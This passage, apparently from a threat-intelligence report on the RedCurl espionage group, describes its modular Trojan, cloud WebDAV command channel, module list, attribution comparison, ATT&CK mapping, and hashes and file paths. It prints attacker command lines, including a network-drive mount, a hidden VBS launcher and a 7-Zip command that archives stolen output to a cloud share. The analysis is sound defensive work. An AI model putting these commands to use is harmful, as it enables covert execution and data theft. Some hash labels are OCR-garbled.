The file "enc/cmd.txt" is downloaded to the ".\tempexec" directory, from which the FirstStageAgent module is launched. The module decryption function reads the contents of the downloaded file and decrypts it using the above algorithm (ConvertTo-SecureString -> Base64). The decrypted module is written to the same directory. A random sequence of 8 characters is generated as a name (example: "[a-zO-9]{8}.bat"). At the last stage of its operation, FirstStageAgent deletes the downloaded file from the system and runs the decrypted file.

After execution, all commands (modules) and created files are deleted using the **sdelete** utility.

As such, all communications between the threat actor and the compromised infrastructure are carried out using legitimate cloud services.

Channel1 aka RedCurl.C1 and Channel2 aka RedCurl.C2

The modules Channel1 and Channel2 have the same functions. Their main goal is to upload information about the infected device, then download and execute a new module with commands. The encryption method and the algorithm for receiving and sending data are the same as for FirstStageAgent. Each module uses different accounts to access the cloud storage.

The main difference between the modules is the way they communicate with the cloud storage. Channel1 and FirstStageAgent use the "curl.exe" utility to interact with the cloud, while Channel2 mounts a network drive into the system. Mounting is carried out using the "net.exe" utility. All subsequent operations with files located in the cloud are performed using console commands. An example of a command used to mount a network drive is presented below:

net use https://storage.driveonweb.de/probdav \$pass /user:\$login /
persistent:no;

Another feature that distinguishes Channel2 from Channel1 is the way of launching the decrypted module with commands. Channel2 uses a VBS script that is run by a common program called "wscript. exe". The path to the module is passed as an argument. Once the script is run, a "WScript.Shell" object is created, which is then used to launch a decrypted BAT file. An example of the VBS script is presented below:

On Error Resume Next CreateObject(«Wscript.Shell»).Run «»»» & WScript.Arguments(0) & «»»», 0, False

Channell launches the decrypted module in the same way as FirstStageAgent.

Commands

The FirstStageAgent, Channel1, and Channel2 modules only download and execute commands (modules) in the "cmd.exe" command-line interpreter. Each downloaded file is a separate module with commands that extend the Trojan's functionality. This means that these Trojan commands are subprograms or modules.

Certain modules can execute PowerShell commands. In such cases, they are Base64-encoded and stored in the file with the module. Modules can contain commands to download additional software. The downloaded modules communicate with operators using files located in the cloud. Additional programs required for the Trojan to operate are located in the cloud directory. It is worth noting that different accounts are used in the modules that store commands and the modules that run commands. However, different modules with commands use the same account. The same module can run on different machines. Modules check the computer name on which they are running to avoid restarting on the same machine. If the computer name matches one of the values on the list, the module will continue with the execution. Each module starts by creating a temporary directory to save the result of its operation. The directory that stores a module that launched the command is used as a working directory. The directory name is located in the file with the downloaded module. In the modules analyzed, the directory names are based on the following pattern: "temp[0-9]{2,4}".

The output of each command is added to a password-protected archive. To create the archive, a console version of the 7-Zip program (syspack.exe) is used. The program is delivered to the infected device in advance. The password for the archive is contained in the file and is unique for each module. After files have been added to the archive, they are removed from the system. The archive name is generated using the following template:

%computername%_%username%_%%CMD_NAME%%_[%random%]_
[%DD%%MM%|%MM%%DD%]_%HH%%MM%.tmp.

The month and day will be determined correctly only if the "DD. MM.YYYY" or "MM.DD.YYYY" date format is set in the system. The %random% field may be missing in some cases. The %CMD_NAME% field depends on the module's purpose. An example of a command used to create an archive is presented below:

syspack.exe a -p%packpass% -mhe=on -sdel -y \\app.koofr.net@SSL\
dav\Koofr\STR\%ARCH_NAME% %LOG_FOLDER%

Modules were named based on the value of the %CMD_NAME% field. Below is a list of the detected modules:

Module	Description
inf	Collects information about the infected system
dom, d1	Collects information from Active Directory
dn, mlist	Collects information about users in Active Directory
ps	Harvests credentials from the infected machine using LaZagne
sh	Collects logs from the infected machine. In some cases, it deter mines the contents of a directory located on the local network
dnlog	Collects a list of computers on the local network
ins, inst	Infects files on shared resources within the network
unins	Removes files intended for distribution within the network
shares	Obtains a list of available network drives at the address
check, chk	Checks access to the network drive and obtains a file list
dl, difs, difs2	Obtains a list of files on a network drive
ml	Exfiltrates emails

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Module	Description
miO1	Launches a DLL file
depmpunins	Removes traces of compromise from the infected machine
p1, plz232	Collects system information along with credentials
fs01	Obtains a list of files in a directory on a network drive
fs02	Checks the internet connection
ustunlog	Configures access to the infected machine via SSH
dl1	Exfiltrates data
ch2, tmp	Obtains a list of files from temporary directories of other modules
sha	Obtains a list of available resources for computers within the local network
cre	Creates a fake window for entering the computer account password
creds	Same as the cre module
fld	Exfiltrates data from local and network directories
res	Obtains a list of files stored on the local computer
rf	Obtains attributes of files located on a network drive
2	Alive
flg	Exfiltrates certain files from network directories
wrf	Collects a list of directories on network drives that have write access

Attribution

RedCurl's focus on espionage and the use of public cloud services may indicate that its campaigns are a continuation of the RedOctober and CloudAtlas campaigns described by **Kaspersky Lab** in the past (https://securelist.ru/cloud-atlas-stilnoe-vozvrashhenie-art-kampanii/24716/, https://securelist.com/recent-cloud-atlas-activity/92016/). These cyberespionage attacks targeted industrial, governmental, and commercial organizations in Russia, Central Asia, and Ukraine. They were carried out between 2010 and 2019. At the time of writing, there is no information about attacks involving CloudAtlas tools in 2020.

RedCurl, discovered by Group-IB experts, carried out attacks at different intervals between 2018 and 2020 inclusive. The earliest attack dates back to May 2018. Its victims included companies based in the UK, Canada, Norway, Germany, Russia, and Ukraine. All the companies were private and commercial.

As such, based on the geographical scope of attacks, it is impossible to confirm any links with the campaigns described by Kaspersky Lab.

Analysis of RedCurl revealed that one of the SFX archives was created using the WinRAR utility set to Russian. This fact is confirmed by the strings in the section with resources. Moreover, Russian was set in one of the profiles used as a C&C server.



lang ru

Figure 16. Language in the cloud web interface

STRING	TABLE
LANGUA	AGE LANG RUSSIAN, 0x0
{	_ /
100,	"Выберите папку для извлечения"
101,	"Извлечение %s"
102,	"Пропуск %s"
103,	"Неожиданный конец архива"
104,	"Повреждён заголовок файла \"%s\""
105,	"Повреждён заголовок комментария архива"
106,	"Повреждён комментарий архива"
107,	"Недостаточно памяти"
108,	"Неизвестный метод в %s"
109,	"Невозможно открыть %s"
110,	"Невозможно создать %s"
111,	"Невозможно создать папку %s"
}	



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RedCurl, CloudAtlas and RedOctober: campaign comparison

	RedCurl	CloudAtlas	RedOctober	
Initial access	SFX archives, LNK files, XLAM documents, JS files	Phishing document containing the following exploits: CVE-2017-11882 CVE-2018-0802	Phishing document containing the following exploits: CVE-2009-3129 CVE-2010-3333 CVE-2012-0158	
Command	 Obtains information about the infected machine Exfiltrates data Obtains a directory listing Propagates across the compromised network 			
	 Sets up access to the compromised machine via SSH Creates a phishing window with a form for entering domain account credentials 	_	 Keylogger Takes screenshots Exfiltrates data from mobile devices 	
	Extracts passwords using t	_		
C&C communication protocol	WebDAV			
Lateral movement	Substitutes original documents on a network drive with LNK files	_	Scans network computers for the MS08-067 vulnerability	
Open-source tools used	LaZagne, 7-Zip	_		
	ADExplorer NirCmd SSH curl	-	_	

The RedOctober, CloudAtlas, and RedCurl campaigns all involved a modular Trojan. The C&C servers sent commands in separate modules. The RedOctober campaigns and early CloudAtlas attacks used the WebDAV protocol to communicate with operators, just like the RedCurl campaign. However, the tools used in RedCurl attacks are unprecedented and written in PowerShell. The latest CloudAtlas attacks also used a new PowerShell tool, which Group-IB classified as PowerShower. Analyzing this tool did not reveal overlaps in the code with any RedCurl tools. LaZagne was used to retrieve passwords as part of all the campaigns. A detailed comparison between the campaigns based on the MITRE ATT&CK® matrix is presented below.

MITRE ATT&CK[®] Mapping (RedCurl)

Tactic	Technique	Procedure
TA0001: Initial Access	T1566.002: Spearphishing link	The cybercriminals used phishing emails with links to SFX archives to gain initial access to the target host.
radin Execution	T1204.002: Malicious File	The victim must launch an executable file and open an LNK, XLAM, MHT or JS file for the infection to start.
	T1059.003: Windows Command Shell	The cybercriminals used cmd.exe to execute batch scripts.
	T1059.001: PowerShell	The cybercriminals used PowerShell scripts to perform post- exploitation tasks.
	T1059.005: Visual Basic	The cybercriminals used VBScript to run batch files.
A0003: Persistence	T1053.005: Scheduled Task	The cybercriminals created tasks in the scheduler to achieve persistence on compromised systems.
	T1547.001: Registry Run Keys / Startup Folder	The cybercriminals created entries in the HKCU\Software\ Microsoft\Windows\CurrentVersion\Run registry key to achieve persistence on compromised systems.
TA0005: Defense Evasion	T1027: Obfuscated Files or Information	The cybercriminals encrypted data and Base64-encoded PowerShell commands.
	T1036.005: Match Legitimate Name or Location	The cybercriminals masked their scripts and tasks in the schedule using names similar to legitimate ones.
	T1070.004: File Deletion	The cybercriminals removed batch scripts immediately after execution.
	T1564.001: Hidden Files and Directories	The cybercriminals added the "hidden" attribute to malicious libraries and files to which malicious LNK files pointed.
	T1218.011: Rundll32	The cybercriminals used rundll32.exe to launch RedCurl.Dropper.
A0006: Credential Access	T1003.001: LSASS Memory	The cybercriminals used LaZagne to extract passwords from volatile memory.
	T1555.003: Credentials from Web Browsers	The cybercriminals used LaZagne to extract passwords stored by web browsers.
	T1552.001: Credentials in Files	The cybercriminals used LaZagne to extract passwords stored in files.
	T1552.002: Credentials in Registry	The cybercriminals used LaZagne to extract passwords stored in the registry.
	T1056.002: GUI Input Capture	The cybercriminals used a phishing Microsoft Outlook pop-up to intercept login credentials.

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Tactic	Technique	Procedure
TA0007: Discovery	T1082: System Information Discovery	The cybercriminals regularly collected information about compromised systems.
	T1035: Network Share Discovery	The cybercriminals collected information about network drives available to compromised hosts.
	T1083: File and Directory Discovery	The cybercriminals collected information about files on local and network drives.
	T1087.001: Local Account	The cybercriminals collected information about local accounts.
	T1087.002: Domain Account	The cybercriminals collected information about domain accounts
	T1087.003: Email Account	The cybercriminals collected information about email accounts.
TA0008: Lateral Movement	T1080: Taint Shared Content	The cybercriminals placed modified LNK files on network drives, which allowed them to propagate across the network.
TA0009: Collection	T1119: Automated Collection	The cybercriminals used batch scripts to collect data.
	T1005: Data from Local System	The cybercriminals collected data from the local disks of compromised systems.
	T1039: Data from Network Shared Drive	The cybercriminals collected data from network drives.
	T1114.001: Local Email Collection	The cybercriminals collected emails.
TA0011: Command and Control	T1102: Web Service	The cybercriminals used legitimate web services to download malicious batch scripts.
	T1071.001: Web Protocols	The cybercriminals used the HTTP, HTTPS, and WebDav protocols to perform network connections.
TAOO10: Exfiltration	T1020: Automated Exfiltration	The cybercriminals used batch scripts to exfiltrate data.
	T1537: Transfer Data to Cloud Account	The cybercriminals used cloud storage devices to copy data.

MITRE ATT&CK[®] Mapping (RedOctober/Cloud Atlas/Inception)

Tactic	Technique	Procedure
TAOOO1: Initial Access	T1566.001: Spearphishing Attachment	The cybercriminals used phishing emails with malicious attachments to gain initial access.
TA0002: Execution	T1204.002: Malicious File	The device becomes infected as soon as the victim opens the malicious document.
	T1059.001: PowerShell	The cybercriminals used PowerShell scripts during post- exploitation tasks.
	T1059.005: Visual Basic	The cybercriminals used a VBScript to run batch files.
	T1203: Exploitation for Client Execution	The cybercriminals exploited CVE-2012-0158, CVE-2014-1761, CVE-2017-11882, and CVE-2018-0802 vulnerabilities to execute malicious code.
TA0003: Persistence	T1547.001: Registry Run Keys / Startup Folder	The cybercriminals created entries in the HKCU\Software\ Microsoft\Windows\CurrentVersion\Run registry key to ensure persistence on compromised systems.
TA0005: Defense Evasion	T1027: Obfuscated Files or Information	The cybercriminals used AES and RC4 algorithms to encrypt the payload.
	T1218.010: Regsvr32	The cybercriminals used regsvr32.exe to launch malicious DLLs.
	T1218.005: Mshta	The cybercriminals used malicious HTA files to download and execute malicious code.
	T1221: Template Injection	The cybercriminals used malicious documents to download the payload from a remote server over HTTP.
TA0006: Credential Access	T1003.001: LSASS Memory	The cybercriminals used LaZagne to extract passwords from volatile memory.
	T1555.003: Credentials from Web Browsers	The cybercriminals used LaZagne to extract passwords stored by web browsers.
	T1552.001: Credentials in Files	The cybercriminals used LaZagne to extract passwords stored in files.
	T1552.002: Credentials in Registry	The cybercriminals used LaZagne to extract passwords stored in the registry.

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Tactic	Technique	Procedure
TA0007: Discovery	T1082: System Information Discovery	The cybercriminals regularly collected information about compromised systems.
	T1083: File and Directory Discovery	The cybercriminals collected information about files stored on loca and network drives.
	T1087.001: Local Account	The cybercriminals collected information about local accounts.
	T1087.002: Domain Account	The cybercriminals collected information about domain accounts.
	T1518: Software Discovery	The cybercriminals collected information about the software installed on the compromised hosts.
TA0009: Collection	T1119: Automated Collection	The cybercriminals used batch scripts to collect data.
	T1005: Data from Local System	The cybercriminals collected data from the local disks of the compromised systems.
	T1039: Data from Network Shared Drive	The cybercriminals collected data from network drives.
TAOO11: Command and Control	T1102: Web Service	The cybercriminals used legitimate web services to download malicious batch scripts.
	T1071.001: Web Protocols	The cybercriminals used the HTTP, HTTPS, and WebDav protocols to perform network connections.
	T1573.001: Symmetric Cryptography	The cybercriminals used the AES algorithm to encrypt network connections.
	T1090.003: Multi-hop Proxy	The cybercriminals used chains of compromised routers to communicate with cloud storage providers.
TA0010: Exfiltration	T1020: Automated Exfiltration	The cybercriminals used batch scripts to exfiltrate data.
	T1537: Transfer Data to Cloud Account	The cybercriminals used cloud storage devices to copy data.

The above comparative analysis of the RedCurl, CloudAtlas, and RedOctober campaigns shows that, despite similarities between the attacks, it is impossible to assert unequivocally whether RedCurl is a continuation of the **CloudAtlas and RedOctober** campaigns or linked to them in any way.

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Date	Hashes	Classification
2018-06-11	MD5: *******	*****
	SHA1: ********	
	SHA256. ********	
	MD5: *******	****
	SHA1: ********	
	SHA256: ********	
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	SHA1: c2614da1b29293505fd71589641adfc5161a1146	RedCurl.FSA
	SHA256: a5016649ea75e7c627ce7dfd794a89f66ff113633abd9cd37fe79270336 acbca 	
	MD5: cc9460fa24872509eae5bd6496858202	Encoded
	SHA1: 21e08a4ebff766c25b1df255a1efc3f39dd1180c	RedCurl.C1
	SHA256: c9ad954dea815ef6fd7013b3ba2f476b65d13a9907dabc7ab3b13fee72c 46ad6	
	MD5: b15c556a02ae0779781d1e1a8bf60ff2	Encoded
	SHA1: 6d488096fae4916dab8a17c43eb2ce8cee340616	RedCurl.C2
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	SHA1: d13feeac312e7a43340ef3ef6df28b4f53209016	RedCurl.FSA
	SHA256: 4705ebee308ace8f17f333fb394eafa85893def238fc1383895c0bacf fcda032	

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	SHA1: b5922c93e70840125617ba36a3651413c641e558	RedCurl.C1
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	MD5: 40ee1d475ff236b83d61c563ad5d261d	
	SHA1: dd4392b4c06a24b615d7672a90d4c0bf43425efe	RedCurl.C2
	SHA256:7356f7bbb0168c3eff59613add94f5f2d8ee2cd2b796fe37f56b722121f5 c92d	
	MD5: 5f6d12a1f6a58f0abab1e214c5fcc872	Encoded
	SHA1: 126fb5c821e4d9e3cd22fb4076c718e6c7048537	RedCurl.FSA
	SHA256:125b81f93be005d9709af4c95bc4b4449aeb3c2af36730c3441a26744 4cfa8cd	
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	SHA1. ********	
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	MD5: 6272b59b5090f45639a5a26ad8f98365	Encoded
	SHA1: fc6d0882cafc128ea44dfb82a8612c28246457ba	RedCurl.FSA
	SHA256: 55327d92ee6f11faec64a6dc9a5088940458610b05671a766a4874b 32ca30035	
2018-12-01	MD5: 9691daebab79c6ab48adac73bda0a84a	RedCurl.
	SHA1: 4d068039476fe2e5a883d08d3b16827ab2442a1f	InitialDropper
	SHA256: af4983c6a86105d1b7f1c73e1ce7ea4710d5f5c7dbdf14d87132279346da d96f	
	MD5: aff86bd355a746208fcf31de9707ae0b	RedCurl.FSA_ligh
	SHA1: d80dea264dc6621223b3f91564c71699f4d20d6b	
	SHA256:8353529d98b32d45a403128f03a3e8f6cc21f9dfb9362b9898eb0e4d c3bd807f	
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	SHA256: ********	
	MD5: 2375e40fb45efecc4e162449ea1fb479	RedCurl.Droppe
	SHA1: a7a170ea16b4fb567da7656f9690977129bf022b	
	SHA256: abb51a52a9bb5342ed2f1acb9f4c802d7333f8f493b2970dc9767e5bc 608514a	
	MD5: 2abdcca9bdfa79e22f49af21082422f1	Encrypted
	SHA1: 9921aaba1bc6ac7c2002db7b395d2d6fce232b05	RedCurl.FSA
	SHA256:684f231c7ec0fde283d559cad729acdadcda8644b8054a40bda2f078 ed777e79	
	MD5: aa57b416608949c5dcf9f496832f317e	Encrypted
	SHA1: 6e4a0fc3b901a1eb2d7dad87e08bbe8176df27ca	RedCurl.C1
	SHA256: fe03a9a0a2df2e8580a990b7dbd7e6915e1bd56a3716cdc686b39a97 3ac945b7	
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2019-07-10	MD5: e18e269de42033065baeaf3e1bba0cf7	RedCurl.Droppe
	SHA1: 2bc166ae7482ab1fc164a82333d52f562e3ebcf2	
	SHA256: ba7278b2d7087d2cdd0af9ca298edbab5e134d31ac33da7378c28032 b2894b69	
	MD5: aa625ac2df396bb478eee6a875083dc6	Encrypted
	SHA1: 1e799d277564f5e2dc02765d67baa2b001eb3c14	RedCurl.FSA
	SHA256: 9bfda16318e0a1875f2c527196e6ecec8b818663bbfd26b40ae2c3 10aa234834	
	MD5: fd3f1940afc2b429bc56c0b55f356944	Encrypted
	SHA1: 9544021eca90f2b61c00b1f3d964eada46c4069f	RedCurl.C1
	SHA256: dac83995f978a8917bca8577ddcbb43efdb9889db82d112dd547e0 d52d277866	
	MD5: 8048a791b5946dd68a1fc8ca5358ec75	Encrypted
	SHA1: 0536f010e53e68844875d635b9af896b98b7b7f9	RedCurl.C2
	SHA256: 7e0221f3bfeec83733324479380677fe0f86fc8f35a98d45bc91f1408eff 421b	
2019-07-18	MD5: *******	****
	SHA1. ********	
	SHA256: *******	
	MD5: 40ef07b3221d9846d892c42d10b7220e	RedCurl.Droppe
	SHA1: e8c2b3f99fccd983fb8245d9523687e6f3d9e7c0	
	SHA256: fb590ffe5abbbae1e44f7db0081d4fb63b9be88c33cbeed7e8b61af6fb 9d184f	
	MD5: f215b71695e8f5f4ddf50466e853cc42	
	SHA1: 37bd8f99b48d3c4ba2d961a2845500d49f6d0b67	RedCurl.FSA
	SHA256:d8e25f8abb73f4c14c80d65fcb26cefca276ddbf184145be5dca2ed553 c784b2	
	MD5:313ede2578a6d8ab5a1b558a78759085	
	SHA1:eab481f339cd5f64bc91c7718ccdc7997bb717d6	RedCurl.C1
	SHA256: c12e73c1422138b496c4632115a69acfad3a3603979bf78f6f54ed7a2da ce22b	
	MD5: 3becc75bfd9c8d3fd19b8486ba980ce4	
	SHA1: 5ded57ebeb26d53926338f350e5ff3c5b97c355b	RedCurl.C2
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	SHA1: c9f2ed153f54faab782fde4d7b99b8a76165b43b	
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	MD5: da62ada98b1b0c6ecb5d47eab1e9519e	Encrypted
	SHA1: 3e8594a9ae1b779502dad2783a32be3708121ee6	RedCurl.FSA
	SHA256: 67ac0312de78b8f3d8cb3202cf109a19593407cba10d53d24e21750b7 7463b7a	
	MD5: b1479513a24a37e4e3b0c38d6535cf21	Encrypted
	SHA1: 6a3132c2d2663c70cbf91c3b6e412de6a9b2000f	RedCurl.C1
	SHA256: 9f73b30c0c8fca4950ac7de0497fec3104fb747df07550125987e546ec 39ff84	
	MD5: b2e91b4b714adbe826dbb5692db78453	
	SHA1: 8a7dc93cb358dfa3ede7ebe6215200541a5d2350	RedCurl.C2
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	SHA1. ********	
	SHA256: ********	
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	SHA1: 18f5abb55e372c59d35665b125a3facd39406d0a	
	SHA256: 47ea69945bbeb18bce1c0446f00cc6b2ed29836238a8c76b1078fc4f6 e2a08d2	
	MD5: 484bb302a2ca940f562be418e1b67eee	Encrypted
	SHA1: 1d4b869153121c47b97901dfe9b0a595d3a41b65	RedCurl.FSA
	SHA256: 3cae215d0fb22e64034a7c5364a5498d31a8409ec46621809855c05 7c88c6f91	
	MD5: 948ccaba625e5073730cef8c0d21f894	Encrypted RedCurl.C1
	SHA1: a31c0046f06c9274adc322363045b7a6e01ccc9e	Neucuri.Or
	SHA256: a06cd437c52eafc2f577ab4598e590990cfda4dd9eeb5a20ddd2376ff 873638d	
	MD5: edab30e2d72f62f9056398e85d31195d	Encrypted
	SHA1: af8e1aa9e57b2dae655b6b2a0c3b3ec15878a57d	RedCurl.C2
	SHA256:1c1608cb2e48e68cd961994484de3aed68b35b1c5f118040f0336a5eb a9d50af	
	MD5: *******	****
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2019-07-30	MD5: ******** SHA1: ******** SHA256: *******	*****
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	MD5 f2fe7442b9017dcfe146ebea85a631e7 SHa1 a608509665e6f07e407c636fdafc9a364df9ba89 SHA256 0f3e14d24ef31e6acdd491a5406818a4526741e04d080b6c2d28547ec 9fb42d5	Encrypted RedCurl.FSA
	MD5: 8734bfe951847a5b577f01088c5cc803 SHA1: 6ed0375d527cc8855f435777f68d4924cf24957b SHA256: fe1dbf4420d247b7e55b9a313b83d7ec9833efa1e1c7d169aeeb7a5ef3 2c8c09	Encrypted RedCurl.C1
	MD5: 2c100f7835627ab7acb5cb58dfd04b8d SHA1: f16bc12267399b61e779a380962372ba403bcff9 SHA256: 22bbdd147f52ab3e93380ba788fb605ae7f2e94ff378b7b264636b8411 62ed6	Encrypted RedCurl.C2
2019-07-31	MD5: 4adf6dff493427be125d6708a93151aa SHA1: 08d429f8ba3218b9442f6c00d33988fe8d924cab SHA256: 3a27ed7030ec08fd35c6c3ffd7c89bb2a40569c09841f11f20c064 5edf376904	RedCurl.Dropper
2019-08-14	MD5: ******** SHA1: ******** SHA256: *******	*****
	MD5: 973579883D19696C3B4286E74D8FA062 SHA1: 3580DD6B213C6EFB86F6DFCD9A39EF850C47E503 SHA256: 4DCB6F2DC401095B730FCFA50098E05C407C1AF2376AC2483EE1D 813D6524CBE	RedCurl.Dropper
	MD5: ecff12e894d75e21f86562cd76a9a102 SHA1: b3dea7c6d31b4e1acf07befe2b937e545faa1172 SHA256: 65c95bbd3cd3bd6b7bdbd05394a4cdb7fee2b2d43953bfbf23bf 5fbd29412736	Encrypted RedCurl.FSA
	MD5: b661d7367b778ba69941424d4bffbf09 SHA1: 276b97c5805d932e19b5156e93d3054ca2403c58 SHA256: 9ea46aa8cc4c26000b83ef445e296938fd81f2a322f7cde8a0220b4f 20c0d973	Encrypted RedCurl.C1

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2019-08-14	MD5: 8b16f157d0f07819ada6896fed86d5d3	Encrypted
	SHA1: e10da81bf3b5d4864d6e339dff2aaf84b416f29e	RedCurl.C2
	SHA256: 90583fa223fb3c5a86169e0f672266bbda3ddc8a4cc59662f58be00b 313b0c72	
2019-08-06	MD5: ******	****
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	SHA1: 5e950dc125984ce19136d99dd87baaf943c3a8b7	
	SHA256:86b4e9a8a20ee49ae49df514ad768b12d4ebb042bb749eee19e6736a 68554bac	
	MD5: 78965056e42a035de01a7fc420d9bb97	Encrypted
	SHA1: e66f165ddb1c6bbf2e5c524e3ba6715dce0d0290	RedCurl.FSA
	SHA256: d3ea43eccbd1224b871d60c16b6ae0f67907c16fb8e81d14a494c96b 615a6373	
	MD5: 5e29db24d44311463fdeea35aa6cd61c	Encrypted
	SHA1: b359138e5a02a4ccdbb3526aa5351e44ee175352	RedCurl.C1
	SHA256:c9b17f5f1a7e8513c1f1458989003f9bc126bbb1a1bb6ddace87050032 9a5a56	
		Encrypted
	SHA1: 3e684d2e3043c57b960343319c094ef7318bea5f	RedCurl.C2
	SHA256: 71382a330a393b50d5a873f37fafb6ebad274d4aee006fcb321f1c8db1f e4fc3	
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	SHA256: ********	
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	SHA1: ********	
	SHA256: *******	
	MD5: 78965056e42a035de01a7fo420d9bb97	Encrypted
	SHA1: e66f165ddb1c6bbf2e5c524e3ba6715dce0d0290	RedCurl.FSA
	SHA256: d3ea43eccbd1224b871d60c16b6ae0f67907c16fb8e81d14a494c96b 615a6373	
	MD5: 5e29db24d44311463fdeea35aa6cd61c	Encrypted
	SHA1: b359138e5a02a4ccdbb3526aa5351e44ee175352	RedCurl.C1
	SHA256: c9b17f5f1a7e8513c1f1458989003f9bc126bbb1a1bb6ddace87050032 9a5a56	
	MD5: b2ac2fad617b22f11b19bd24c50c4e8c	Encrypted
	SHA1: 3e684d2e3043c57b960343319c094ef7318bea5f	RedCurl.C2
	SHA256: 71382a330a393b50d5a873f37fafb6ebad274d4aee006fcb321f1c8db1f e4fc3	

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	SHA1: 5bea907808d30369f60e7902a1b4906ded699897	
	SHA256:18e43031ee4ed50a773780e32e354ae5222988f675e3d51a1329df4 f84d61578	
	MD5: e315ea0ad5aa2556e4b0f68afe989acc	Encrypted
	SHA1: 3606849f0d6ec485579a8c6c136707e6c85ec473	RedCurl.FSA
	SHA256: 57441a44625855340c0bfdf1b6f5e69a520e4e3041064e3322b219a1b 73cbbc2	
	MD5: 04055917ce47645427b4f4ca84fe1e51	Encrypted
	SHA1: 21f23c97bb3d008baf5b276a847ede51efef8cc3	RedCurl.C1
	SHA256:e75d03e6db53644e9d24838dd1c70d9f8687661fc850e6154dcd6 6ebb0671333	
	MD5: dc8544751117ef6c0d320fbcd9e4a2db	Encrypted RedCurl.C2
	SHA1: f2e3d9700b0303cc1f57a7802b36420e79b25ce6	RedCuri.C2
	SHA256:cd2f32ed533d4edba9874736f8eb3431042ec5af0674740b83c93af62 3f5b0b8	
2019-09-23	MD5: e7d27d0d682d8bb56b29b34e3eda03d7	RedCurl.Droppe
	SHA1: ef8b6293111eb3fd2244307d95e8278b31778a78	
	SHA256: c7df2c96c74e712cb3d33264f0f80140471b281c6fa7bbad313b74da048 d828a	
	MD5: f2e33472eb55f22a5c1eb1dd2dfdca8c	Encrypted RedCurl.FSA
	SHA1: 1e82f8862e2d0884d20fbcd96d9d751c5924403e	RedOdilF3A
	SHA256: 8842744141a91b8acda0ef7f7b2437049b14ada2887213f3d3eb5efff3cc ccdc	
	MD5: acb1882549b7556259bf7f25c7fbf077	Encrypted RedCurl C1
	SHA1: aadOf1ce8cae3bOdd12f5a7Of1ef495fd7269a1a	RedOun.or
	SHA256: 9d405df68f1f017be0743a4db478d266b11cb804b4a6f5219f1caa67fe 866a78	
	MD5: 7c0ec47f4b6acb597954b8f6befe33f1	Encrypted RedCurl.C2
	SHA1: 1644b15cdda74505f5a06ccbe1c5615db11f2558	NedOdh.OZ
	SHA256:18d6e0d073a6cfa2ae882df7b9821b424043c92be304332dffe346aa2 5225ba3	
2019-09-24	MD5: Obd8e164a95532bb2817bf2e056ccOf1	RedCurl.Droppe
	SHA1: 403f8b0f9bb5e8a80651743ab274c63fa930c3bf	
	SHA256: 3e143dfbc61ca565569cb5d997588da702f5b2a7293902695cab5237 4cb4c7bf	
	MD5: 553ee9ce533f0a103e644c6881eff81c	Encrypted RedCurl.FSA
	SHA1: 1eb09787262722d8684db5c008066c9b69b15b94 SHA256: 1d5a6fbc0514ae637cafd327aead8c01e000a8d9c80bd0be8faa21217 b9ec412	
	MD5: 774e762e8546c569328a1d550cd9479e	Encrypted
	SHA1: 0e8fe9dcfd88c89632f813227ecd9299455bec86	RedCurl.C1
	SHA256: b4c8079dbe2a1b3d04f9656df1d47eaeecf3dbc4cb8eceaf71a8fbba54 7cd2df	

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	SHA1: f47a3e557813139b0202bb7e1bef7d1e5564f3d6	RedCurl.C2
	SHA256: f5958605365175b6eb9da3544778b8e100cbebb3d2e1f9788d25df71d 5394d2d	
2019-10-15	MD5: *******	****
	SHA1: ********	
	SHA256: *******	
	MD5: 5050484c1f18d65059ff7e01dc162bf6	RedCurl.Droppe
	SHA1: 3c34b35c9bf5e73cb702d6c2f7cbd96d2ee2f5cd	
	SHA256: e77c4990b3863e789efc1b064a8387e7c71e74bc5f960045f64b5b1da dbfc213	
	MD5: e3ac036fe4ac10813914b1cca52d1de5	Encrypted
	SHA1: 8711b71fda59b5b75176b436d2498d57c59d1389	RedCurl.FSA
	SHA256: b0b9fb1aaabf4a45e9f8dada75e7fee04aa61ead9432340bb9c5f92161 a6372d	
	MD5: 36fb611a076da404f61ef667a12cac55	Encrypted
	SHA1: 36de37b3117e1f8e9df4749b2de886aef968511f	RedCurl.C1
	SHA256: 3a4ab011bb5c5c24852ab21abe635f2969ac9452e354d22da1cbb793 b63c3278	
	MD5: 868d9d2bd0d11843e5a381b1873508cb	Encrypted
	SHA1: b0eb8d3d80e503708a19a891b5ba11a9b55e54f6	RedCurl.C2
	SHA256: b24955832b9fb277166535531773f52374f54bb7d6645687e4e03d0ce a460f6d	
2019-10-18	MD5: fe8dceacfbf2dc4d874359ef6fca2de1	RedCurl.Droppe
	SHA1: 82ffae3656dfc3422462797bb3b21a0752f3dcbd	
	SHA256: 34850b3ef6947fdae35523431690acb7da9543d209947ffb412307f1eb a518ca	
	MD5: 25f4359b5201295ac56dcf234800a3d9	Encrypted
	SHA1: 11c62b38f40faa6961be9ec2df8af1344c672233	RedCurl.FSA
	SHA256: 88caafdca263af4b7f6d6b952b16093b059cbcdb13ef26eabf096659d cb96e48	
	MD5: e31512cb72b081f51e214f7d2496c0e1	Encrypted
	SHA1: 3a4ba61af6cbc627dd450ed74e58cdec3aee076d	RedCurl.C1
	SHA256:204d0bda0637e8a29970ce8123500cb7ff3d2c60d24a79ed4550f5c2 c4a6d83e	
	MD5: 7086d00950105c9530bff7375b8464c3	Encrypted
	SHA1: 46e50da34773d0960dbedfb4598762b233725bbd	RedCurl.C2
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	SHA256: *******	
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Path

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	%APPDATA%\Microsoft\Check	
	%APPDATA%\Firefox\Update	
	%LOCALAPPDATA%\Microsoft\Control\tmp\1	
	%LOCALAPPDATA%\Microsoft\Control\tmp\2	
2018-07-18	%APPDATA%\Microsoft\Check	
	%APPDATA%\Firefox\Update	
2018-12-01	%APPDATA%\MSSched\	
2019-07-02	%LOCALAPPDATA%\Microsoft\DiskDiagnosticSrv	
	%APPDATA%\gbtregmainsrva	
	%APPDATA%\Microsoft\regdevpchk	
2019-07-10	%LOCALAPPDATA%\Microsoft\NetworkStateChangeTask	
	%APPDATA%\PowerEfficiencyDiagnosticsF	
	%APPDATA%\Microsoft\EduPrintProvf	
2019-07-18	%LOCALAPPDATA%\Microsoft\ControlLocalTimeSvc	
	%APPDATA%\RealtekNetDrvCheckHostA	
	%APPDATA%\Microsoft\IntelWirelessHostB	

Date	Path
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	%APPDATA%\ADRMSRightsPolicyTemplate
	%APPDATA%\Microsoft\VerifiedPublishersCertsStoreCheck
2019-07-30	%LOCALAPPDATA%\Microsoft\WsSwapAssessmentTaskF\
	%APPDATA%\IndexerAutomaticMaintenanceF»
	%APPDATA%\Microsoft\EnableLicenseAcquisitionS
2019-07-31	%LOCALAPPDATA%\Microsoft\msftavchecka
